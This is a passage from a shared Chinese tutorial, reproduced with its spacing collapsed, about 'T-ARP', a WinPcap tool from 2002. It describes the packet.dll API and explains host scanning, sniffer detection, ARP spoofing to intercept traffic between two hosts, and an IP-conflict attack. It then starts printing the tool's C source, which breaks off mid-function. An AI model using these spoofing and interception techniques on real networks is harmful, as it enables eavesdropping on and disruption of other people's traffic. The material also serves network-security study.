调用winpcap驱动写arp多功能工具1Word文档格式.docx
《调用winpcap驱动写arp多功能工具1Word文档格式.docx》由会员分享,可在线阅读,更多相关《调用winpcap驱动写arp多功能工具1Word文档格式.docx(26页珍藏版)》请在冰点文库上搜索。
首先介绍一些相关的数据结构:
1.typedefstruct_ADAPTERADAPTER//描述一个网络适配器;
2.typedefstruct_PACKETPACKET//描述一组网络数据报的结构;
3.typedefstructNetTypeNetType//描述网络类型的数据结构;
4.typedefstructnpf_if_addrnpf_if_addr//描述一个网络适配器的ip地址;
5.structbpf_hdr//数据报头部;
6.structbpf_stat//当前捕获数据报的统计信息。
下面,将介绍T-ARP用到的各个函数,他们都是在packet.dll中定义的:
LPPACKETPacketAllocatePacket(void)
如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。
成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。
VOIDPacketCloseAdapter(LPADAPTERlpAdapter)
关闭参数中提供的网络适配器,释放相关的ADAPTER结构。
VOIDPacketFreePacket(LPPACKETlpPacket)
释放参数提供的_PACKET结构。
BOOLEANPacketGetAdapterNames(LPSTRpStr,PULONGBufferSize)
返回可以得到的网络适配器列表及描述。
5>
BOOLEANPacketGetNetInfoEx(LPTSTRAdapterNames,npf_ip_addr*buff,PLONGNEntries)
返回某个网络适配器的全面地址信息。
其中npf_ip_addr结构包含:
IPAddress,SubnetMask,Broadcast
IPAddress:
ip地址
SubnetMask:
子网掩码
Broadcast:
广播地址
6>
BOOLEANPacketGetNetType(LPADAPTERAdapterObject,NetType*type)
返回某个网络适配器的MAC类型。
NetType结构里包含了LinkSpeed(速度)和LinkType(类型)。
其中LinkType包含以下几种情况:
NdisMedium802_3:
Ethernet(802.3)
NdisMediumWan:
WAN
NdisMedium802_5:
TokenRing(802.5)
NdisMediumFddi:
FDDI
NdisMediumAtm:
ATM
NdisMediumArcnet878_2:
ARCNET(878.2)
7>
BOOLEANPacketGetStats(LPADAPTERAdapterObject,structbpf_stat*s)
返回几个关于当前捕获报告的统计信息。
其中bpf_stat结构包含:
bs_recv,bs_drop,ps_ifdrop,bs_capt
bs_recv:
从网络适配器开始捕获数据报开始所接收到的所有数据报的数目,包括丢失的数据报;
bs_drop:
丢失的数据报数目。
在驱动缓冲区已经满时,就会发生数据报丢失的情况。
8>
PCHARPacketGetVersion()
返回关于dll的版本信息。
9>
VOIDPacketInitPacket(LPPACKETlpPacket,PVOIDBuffer,UINTLength)
初始化一个_PACKET结构。
10>
LPADAPTERPacketOpetAdapter(LPTSTRAdapterName)
打开一个网络适配器。
11>
BOOLEANPacketReceivePacket(LPADAPTERAdapterObject,LPPACKETlpPacket,BOOLEANSync)
从NPF驱动程序读取网络数据报及统计信息。
数据报编码结构:
|bpf_hdr|data|Padding|bpf_hdr|data|Padding|
12>
BOOLEANPacketSendPacket(LPADAPTERAdapterObject,LPPACKETlpPacket,BOOLEANSync)
发送一个或多个数据报的副本。
13>
BOOLEANPacketSetBuff(LPADAPTERAdapterObject,intdim)
设置捕获数据报的内核级缓冲区大小。
14>
BOOLEANPacketSetHwFilter(LPADAPTERAdapterObject,ULONGFilter)
为接收到的数据报设置硬件过滤规则。
以下为一些典型的过滤规则:
NDIS_PACKET_TYPE_PROMISCUOUS:
设置为混杂模式,接收所有流过的数据报;
NDIS_PACKET_TYPE_DIRECTED:
只有目的地为本地主机网络适配器的数据报才会被接收;
NDIS_PACKET_TYPE_BROADCAST:
只有广播数据报才会被接收;
NDIS_PACKET_TYPE_MULTICAST:
只有与本地主机网络适配器相对应的多播数据报才会被接收;
NDIS_PACKET_TYPE_ALL_MULTICAST:
所有多播数据报均被接收;
NDIS_PACKET_TYPE_ALL_LOCAL:
所有本地数据报均被接收。
15>
BOOLEANPacketSetNumWrites(LPADAPTERAdapterObject,intnwrites)
设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。
16>
BOOLEANPacketSetReadTimeout(LPADAPTERAdapterObject,inttimeout)
设置在接收到一个数据报后“休息”的时间。
以上就是T-ARP所调用的各个函数,它包含了packet.dll里的大部分函数。
如果你想更深层的了解winpcap,请访问相关网站,主页地址:
http:
//winpcap.polito.it
三)T-ARP功能及原理介绍
准备工作:
1.安装winpcap驱动,目前最新的版本为winpcap_3.0_alpha,稳定版本为winpcap_2.3;
2.使用ARP欺骗功能前,必须启动ip路由功能,修改(添加)注册表选项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter=0x1
选项:
-m主机扫描,获得局域网内指定ip段中存活主机的ip地址和mac地址;
-a反嗅探扫描,获得局域网内指定ip段中嗅探主机的ip地址和mac地址;
-sARP欺骗,欺骗局域网内指定的两台主机,使其相互发送接收的数据报均通过本地主机;
网络嗅探,如果你选择欺骗的两台主机均是本地主机,那么将会监听到所有流过本地主机的数据报;
IP冲突,如果你选择欺骗的两台主机是同一台非本地主机,那么就会发起ip冲突攻击;
-r重置被欺骗主机,使被欺骗的两台主机恢复正常的工作状态。
原理及实现过程:
无论什么选项,第一件事就是获得本地主机的mac地址及相关网络设置。
我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARPRequest(ARP请求)数据报,当本地主机接收到后,就会发送一个ARPReply(ARP应答)数据报来回应请求,这样我们就可以获得本地主机的mac地址了。
至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。
-m以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:
ff:
ff)ARPRequest数据报,存活的主机就会发送ARPReply数据报,这样就可以获得当前存活主机的列表。
因为在很多网关上都对ARPRequest做了限制--非内网ip发送的ARPRequest数据报不会得到网关的回应,如果你用内网的其他某台主机的ip来发送ARPRequest数据报,如果填写的mac地址和相应的ip不合,就会出现ip冲突。
所以最好还是用自己的ip和mac地址来发送请求。
-a以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:
fe)的ARPRequest数据报,只有正在嗅探的主机才会发送ARPReply数据报,这样就可以获得当前存活主机的列表。
嗅探中的win2000系统还会对16位伪广播地址(ff:
00:
00)做出回应;
而嗅探中的win95/98/me不仅会回应16位伪广播地址,而且也会回应8位伪广播地址(ff:
00),而*NIX系统对各种广播地址所做出的反应却有些不同。
在此我们选择31位伪广播地址,是因为绝大多数的系统在嗅探时都会对它做出回应。
而正常状况下的各种系统,都不会对31位伪广播地址做出回应。
-s(ARP欺骗spoof)需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,这是我们实现欺骗的基础。
首先获得指定的两台主机(假设为A和B)的mac地址,然后向A发送ARPReply数据报,其中的源ip地址为B的ip地址,但是源mac地址却是本地主机的mac地址,这样主机A就会认为主机B的mac地址是本地主机的mac地址,所以主机A发送到主机B的数据报都发送到本地主机了。
同理向主机B发送ARPReply数据报,通知它主机A的mac地址为本地主机的mac地址。
这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址,于是他们之间相互发送的数据报都首先到达了本地主机,而先前我们已经将本地主机设置了ip路由功能,系统会自动将数据报转发到真正的目的主机。
其间,你就可以监听它们通信的各种数据报了。
-s(网络嗅探sniff)如果指定的两个目的主机均为本地主机,那么就只是将网络适配器设置为混杂模式,这样就可以监听到流过本地主机网络适配器的各种数据。
-s(ip冲突shock)如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C),那么就会不断地向主机C发送ARPReply数据报,报文中的源ip地址就是主机C的ip地址,但是源mac地址却是本地主机的mac地址,因此主机C就会发现有另一台主机同时拥有和自己相同的ip,这就是ip冲突攻击。
如果是非xp系统,都会跳出一个ip冲突的提示窗口,而xp系统也会有类似的警告。
但是请注意,在主机C的系统事件查看器中,会留下本地主机的mac地址与之冲突的恶心记录,所以你最好不要滥用这个功能。
-r在实现了ARP欺骗的情况下,向主机A和B发送ARPReply数据报,通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址,这样主机A和B就会更新他们的ARP缓存,实现正常的数据通信。
四)T-ARP主要代码分析
自定义函数:
intgetmine()//发送ARPRequest数据报,请求获得本地主机的mac地址;
voidgetdata(LPPACKETlp,intop)//分类处理接收到的数据报;
DWORDWINAPIsniff(LPVOIDno)//将网络适配器设置为混杂模式,接收所有流过的数据报;
DWORDWINAPIsendMASR(LPVOIDno)//发送ARPRequest数据报,请求获得指定ip的mac地址;
DWORDWINAPIsendSR(LPVOIDno)//发送ARPReply进行ARP欺骗,或是更新主机的ARP缓存。
主要代码分析
printf("
\nLibararyVersion:
%s"
PacketGetVersion());
//输出dll的版本信息;
PacketGetAdapterNames((char*)adaptername,&
adapterlength)//获得本地主机的网络适配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
//打开指定的网络适配器;
PacketGetNetType(lpadapter,&
ntype)//获得网络适配器的MAC类型;
PacketGetNetInfoEx(adapterlist[open-1],&
ipbuff,&
npflen)//获得指定网络适配器的相关信息;
rthread=CreateThread(NULL,0,sniff,(LPVOID)&
opti,0,&
threadrid);
//创建一个新线程来监听网络数据报;
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)//将网络适配器设置为混杂模式,这样才可以监听流过本地主机的数据报;
PacketSetBuff(lpadapter,500*1024)//自定义网络适配器的内核缓的大小为500*1024;
PacketSetReadTimeout(lpadapter,1)//设置接收一个数据报后等待的时间为1毫秒;
PacketReceivePacket(lpadapter,lppacketr,TRUE)//在设置为混杂模式后,接收所有的数据报;
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&
threadsid);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&
//创建一个新线程发送特定的ARP数据报
PacketSetNumWrites(lpadapter,2)//在发送一个数据报时,重复发送两次;
PacketSendPacket(lpadapter,lppackets,TRUE)//发送自定义数据报;
WaitForSingleObject(sthread,INFINITE);
//等待发送ARP数据报的线程结束;
PacketGetStats(lpadapter,&
stat)//获得网络适配器的统计信息;
五)T-ARP源代码
#include<
packet32.h>
ntddndis.h>
stdio.h>
conio.h>
#pragmacomment(lib,"
ws2_32"
)
packet"
#defineETH_IP0x0800
#defineETH_ARP0x0806
#defineARP_REQUEST0x0001
#defineARP_REPLY0x0002
#defineARP_HARDWARE0x0001
#definemax_num_adapter10
#pragmapack(push,1)
typedefstructethdr
{
unsignedchareh_dst[6];
unsignedchareh_src[6];
unsignedshorteh_type;
}ETHDR,*PETHDR;
typedefstructarphdr
unsignedshortarp_hdr;
unsignedshortarp_pro;
unsignedchararp_hln;
unsignedchararp_pln;
unsignedshortarp_opt;
unsignedchararp_sha[6];
unsignedlongarp_spa;
unsignedchararp_tha[6];
unsignedlongarp_tpa;
}ARPHDR,*PARPHDR;
typedefstructiphdr
unsignedcharh_lenver;
unsignedchartos;
unsignedshorttotal_len;
unsignedshortident;
unsignedshortfrag_and_flags;
unsignedcharttl;
unsignedcharproto;
unsignedshortchecksum;
unsignedintsourceip;
unsignedintdestip;
}IPHDR,*PIPHDR;
#pragmapack(push)
LPADAPTERlpadapter=0;
LPPACKETlppacketr,lppackets;
ULONGmyip,firstip,secondip;
UCHARmmac[6]={0},fmac[6]={0},smac[6]={0};
BOOLmm=FALSE,fm=FALSE,sm=FALSE;
FILE*fp;
charadapterlist[max_num_adapter][1024];
charmsg[50];
intnum=0;
voidstart()
T-ARP---ARPTools,byTOo2y(ò
1é
?
),11-9-2002\n"
);
Homepage:
\n"
E-mail:
TOo2y@\n"
return;
}
voidusage()
\nUsage:
T-ARP[-m|-a|-s|-r]firstipsecondip\n\n"
Option:
\n"
-mmacGetthemacaddressfromfirstiptosecondip\n"
-aantisniffGetthesniffinghostfromfirstiptosecondip\n"
-sspoof1>
Spoofthehostbetweenfirstipandsecondip\n"
sniff2>
Sniffiffirstip==secondip==yourownip\n"
shock3>
Shockiffirstip==secondip!
=yourownip\n"
-rresetResetthespoofedhostworknormally\n\n"
Attention:
1>
Youmusthaveinstalledthewinpcap_2.3orwinpcap_3.0_alpha\n"
2>
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n"
intgetmine()
charsendbuf[1024];
intk;
ETHDReth;
ARPHDRarp;
for(k=0;
k<
6;
k++)
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x82;
arp.arp_sha[k]=0x82;
arp.arp_tha[k]=0x00;
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=htonl(myip);
arp.arp_spa=inet_addr("
112.112.112.112"
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,ð
sizeof(eth));
memcpy(sendbuf+sizeof(eth),&
arp,sizeof(arp));
PacketInitPacket(lppa